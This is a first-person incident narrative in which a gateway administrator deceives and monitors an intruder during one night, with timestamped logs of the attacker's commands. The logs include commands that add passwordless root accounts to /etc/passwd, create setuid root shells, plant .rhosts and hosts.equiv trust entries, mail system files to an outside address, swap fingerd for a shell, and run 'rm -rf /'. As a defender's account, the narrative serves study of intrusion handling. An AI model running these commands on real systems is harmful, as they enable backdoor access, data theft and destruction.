An Evening with Berferd

An Evening with Berferd

That evening, January 20, CNN was offering compelling shots of the Gulf War. A CNN bureau chief in Jerusalem was casting about for a gas mask. Scuds were flying. And my hacker returned:

22:33     finger attempt on berferd

He wanted to make sure that his target wasn't logged in. A couple of minutes later someone used the DEBUG command to submit commands to be executed as root -- he wanted our mailer to change our password file!

22:36     echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
          cp /bin/sh /tmp/shell
          chmod 4755 /tmp/shell

Again, the connection came from embezzle.stanford.edu.

What should I do? I didn't want to actually give him an account on our gateway. Why invite trouble? We would have no keystroke logs of his activity, and would have to clean up the whole mess later.

By sending him the password file five days before, I had simulated a poorly administered computer. Could I keep this up? I decided to string him along a little to see what other things he had in mind. I could emulate the operating system by hand, but I would have to teach him that the machine is slow, because I am no match for a MIPS M/120. It also meant that I would have to create a somewhat consistent simulated system, based on some decisions made up as I went along. I already had one Decision, because the attacker had received a password file: Ftp's password file was the real one.

Here were a couple more:

So I wanted him to think he had changed our password file, but didn't want to actually let him log in. I could create an account, but make it inoperable. How?

This decision was pretty silly, especially since it wasn't consistent with the password file I had sent him, but I had nothing to lose. I whipped up a test account b with a little shell script. It would send mail when it was called, and had some sleeps in it to slow it down. The caller would see this:
RISC/os (inet)

login: b
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved


Shell not found

The slow performance decision explained why it took about 10 minutes for the addition to the password file. I changed the b to beferdd in the real password file. While I was setting this up our friend tried again:

22:41     echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd

Here's another proposed addition to our password file. He must have put the space in after the login name because the previous command hadn't been "executed" yet, and he remembered the RFC 822 space in the file I sent him. Quite a flexible fellow, actually, even though he put the space before the colon instead of after it. He got impatient while I installed the new account:

22:45     talk adrian@embezzle.stand^Hford.edu
          talk adrian@embezzle.stanford.edu

The talk request had come from a different machine at Stanford. I notified them in case they didn't know, and checked for Scuds on the TV.

He had chosen to attack the berferd account. This name came from the old Dick Van Dyke show when Jerry Van Dyke called Dick "Berferd", "because he looked like one." It seemed like a good name for our hacker. (Perhaps it's a good solution to the "hacker"/"cracker" nomenclature problem. "A berferd got into our name server machine yesterday...")

There was a flurry of new probes. Apparently, Berferd didn't have cable TV.

22:48     Attempt to login with  bferd  from  Tip-QuadA.Stanford.EDU
22:48     Attempt to login with  bferd  from  Tip-QuadA.Stanford.EDU
22:49     Attempt to login with  bferd  from  embezzle.Stanford.EDU
22:51     (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51     Attempt to login with  bferd  from  embezzle.Stanford.EDU
22:51     Attempt to login with  bferd  from  embezzle.Stanford.EDU
22:55     echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
22:57     (Added bfrd to the real password file.)
22:58     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
22:58     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
23:05     echo "36.92.0.205" >/dev/null
          echo "36.92.0.205     embezzle.stanford.edu">>/etc./^H^H^H
23:06     Attempt to login with  guest  from  rice-chex.ai.mit.edu
23:06     echo "36.92.0.205     embezzle.stanford.edu" >> /etc/hosts
23:08     echo "embezzle.stanford.edu adrian">>/tmp/.rhosts

Apparently he was trying to rlogin to our gateway. This requires appropriate entries in some local files. At the time we did not detect attempted rlogin commands. Berferd inspired new tools at our end, too.

23:09     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
23:10     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
23:14     mail adrian@embezzle.stanford.edu < /etc/inetd.conf
          ps -aux|mail adrian@embezzle.stanford.edu

Following the presumed failed attempts to rlogin, Berferd wanted our inetd.conf file to discover which services we did provide. I didn't want him to see the real one, and it was too much trouble to make one. The command was well formed, but I didn't want to do it.

23:28     echo "36.92.0.205     embezzle.stanford.edu" >> /etc/hosts
          echo "embezzle.stanford.edu  adrian" >> /tmp/.rhosts
          ps -aux|mail adrian@embezzle.stanford.edu
          mail adrian@embezzle.stanford.edu < /etc/inetd.conf

I didn't want him to see a ps output either. Fortunately, his BSD command switches wouldn't work on our System V machine.

At this point I called CERT. This was an extended attack, and there ought to be someone at Stanford tracing the call. (It turned out that it would take weeks to get an actual trace.) So what exactly does CERT do in these circumstances? Do they call the Feds? Roust a prosecutor? Activate an international phone tap network? What they did was log and monitor everything, and try to get me in touch with a system manager at Stanford. They seem to have a very good list of contacts.

By this time I had numerous windows on my terminal running tail -f on various log files. I could monitor Riyadh and all those daemons at the same time. The action resumed with FTP:

Jan 20 23:36:48 inet ftpd: <--- 220 inet FTP server
           (Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Jan 20 23:36:55 inet ftpd: -------> user bfrd^M
Jan 20 23:36:55 inet ftpd: <--- 331 Password required for bfrd.
Jan 20 23:37:06 inet ftpd: -------> pass^M
Jan 20 23:37:06 inet ftpd: <--- 500 'PASS': command not understood.
Jan 20 23:37:13 inet ftpd: -------> pass^M
Jan 20 23:37:13 inet ftpd: <--- 500 'PASS': command not understood.
Jan 20 23:37:24 inet ftpd: -------> HELP^M
Jan 20 23:37:24 inet ftpd: <--- 214- The following commands are
                            recognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd: <--- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd: -------> QUIT^M
Jan 20 23:37:31 inet ftpd: <--- 221 Goodbye.
Jan 20 23:37:31 inet ftpd: Logout, status 0
Jan 20 23:37:31 inet inetd: exit 14437

Jan 20 23:37:41 inet inetd: finger  request from  36.92.0.205  pid 14454
Jan 20 23:37:41 inet inetd: exit 14454

23:38     finger attempt on berferd
23:48     echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
23:53     mv /usr/etc/fingerd /usr/etc/fingerd.b
          cp /bin/sh /usr/etc/fingerd
23:57     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
23:58     cp /bin/csh /usr/etc/fingerd

Csh wasn't in /bin either, so that command "failed."

00:07     cp /usr/etc/fingerd.b /usr/etc/fingerd

OK. Fingerd worked again. Nice of Berferd to clean up.

00:14     passwd bfrt
          bfrt
          bfrt

Now he was trying to change the password. This would never work, since passwd reads its input from /dev/tty, not the shell script that sendmail would create.

00:16     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
00:17     echo "/bin/sh" > /tmp/Shell
          chmod 755 /tmp/shell
          chmod 755 /tmp/Shell
00:19     chmod 4755 /tmp/shell
00:19     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
00:19     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
00:21     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
00:21     Attempt to login with  bfrd  from  embezzle.Stanford.EDU

At this point I was tired, and a busy night was over in the Middle East. I wanted to continue watching Berferd in the morning, but had to shut down our simulated machine until then.

I needed an excuse to shutdown the gateway. I fell back to a common excuse: disk problems. (I suspect that hackers may have formed the general opinion that disk drives are less reliable than they really are.) I waited until Berferd was sitting in one of those sleep commands, and wrote a message to him saying that the machine was having disk errors and would shut down until morning. This is a research machine, not production, and I actually could delay mail until the morning.

About half an hour later, just before retiring, I decided that Berferd wasn't worth the shutdown of late-night mail, and brought the machine back up.

Berferd returned later that night. Of course, the magic went away when I went to bed, but that didn't seem to bother him. He was hooked. He continued his attack at 00:40. The logs of his attempts were pathetic and tedious until this command was submitted for root to execute rm -rf /

01:55     rm -rf /&
WHOA! Now it was personal! Obviously the machine's state was confusing him, and he wanted to cover his tracks.

He worked for a few more minutes, and gave up until morning.

07:12     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
07:14     rm -rf /&
07:17     finger attempt on berferd
07:19     /bin/rm -rf /&
          /bin/rm -rf /&
07:23     /bin/rm -rf /&
07:25     Attempt to login with  bfrd  from  embezzle.Stanford.EDU
09:41     Attempt to login with  bfrd  from  embezzle.Stanford.EDU